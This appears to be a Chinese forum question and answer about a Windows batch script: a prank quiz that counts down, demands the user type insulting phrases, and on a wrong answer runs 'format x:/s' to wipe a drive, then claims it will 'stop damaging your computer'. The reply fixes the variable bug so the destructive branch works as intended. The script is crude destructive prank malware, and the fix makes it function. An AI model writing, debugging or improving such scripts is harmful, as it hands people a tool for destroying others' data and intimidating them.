bat运行错误,说sleep 1000

echo 开始答题倒计时:5
sleep 1000
echo 开始答题倒计时:4
sleep 1000
echo 开始答题倒计时:3
sleep 1000
echo 开始答题倒计时:2
sleep 1000
echo 开始答题倒计时:1
sleep 500
echo 开始答题
echo ----------------题目1---------------------(注:一共有3个题目,输入答案后按enter键。请认真答题,否则后果自负!)
echo 请输入“我是傻逼”
set /p ask1=输入:
if "%ask1%" neq 我是傻逼 goto bad
if "%ask1%" equ 我是傻逼 goto good
:bad
format x:/s
:good
cls
set ask=
echo ----------------题目2---------------------
set /p ask2=1+1=
if "%ask1%" neq 2 goto bad
if "%ask1%" equ 2 goto good
:bad
format x:/s
:good
cls
set ask=
echo ----------------题目3---------------------
echo 请输入“up主最帅”
set /p ask3=输入:
if "%ask1%" neq up主最帅 goto bad
if "%ask1%" equ up主最帅 goto good
:bad
format x:/s
:good
cls
echo 你已经正确的完成所有题目,我将停止破坏你的电脑
sleep 2000
exit

sleep 的用法倒是没有问题,但是这段代码一运行直接进入题目 2 ,输入结果后就闪退了。

你所有的都用了“%ask1%”。应该是:
echo 开始答题倒计时:5
sleep 1000
echo 开始答题倒计时:4
sleep 1000
echo 开始答题倒计时:3
sleep 1000
echo 开始答题倒计时:2
sleep 1000
echo 开始答题倒计时:1
sleep 500
echo 开始答题
echo ----------------题目1---------------------(注:一共有3个题目,输入答案后按enter键。请认真答题,否则后果自负!)
echo 请输入“我是傻逼”
set /p ask1=输入:
if "%ask1%" neq 我是傻逼 goto bad
if "%ask1%" equ 我是傻逼 goto good
:bad
format x:/s
:good
cls
set ask=
echo ----------------题目2---------------------
set /p ask2=1+1=
if "%ask2%" neq 2 goto bad
if "%ask2%" equ 2 goto good
:bad
format x:/s
:good
cls
set ask=
echo ----------------题目3---------------------
echo 请输入“up主最帅”
set /p ask3=输入:
if "%ask3%" neq up主最帅 goto bad
if "%ask3%" equ up主最帅 goto good
:bad
format x:/s
:good
cls
echo 你已经正确的完成所有题目,我将停止破坏你的电脑
sleep 2000
exit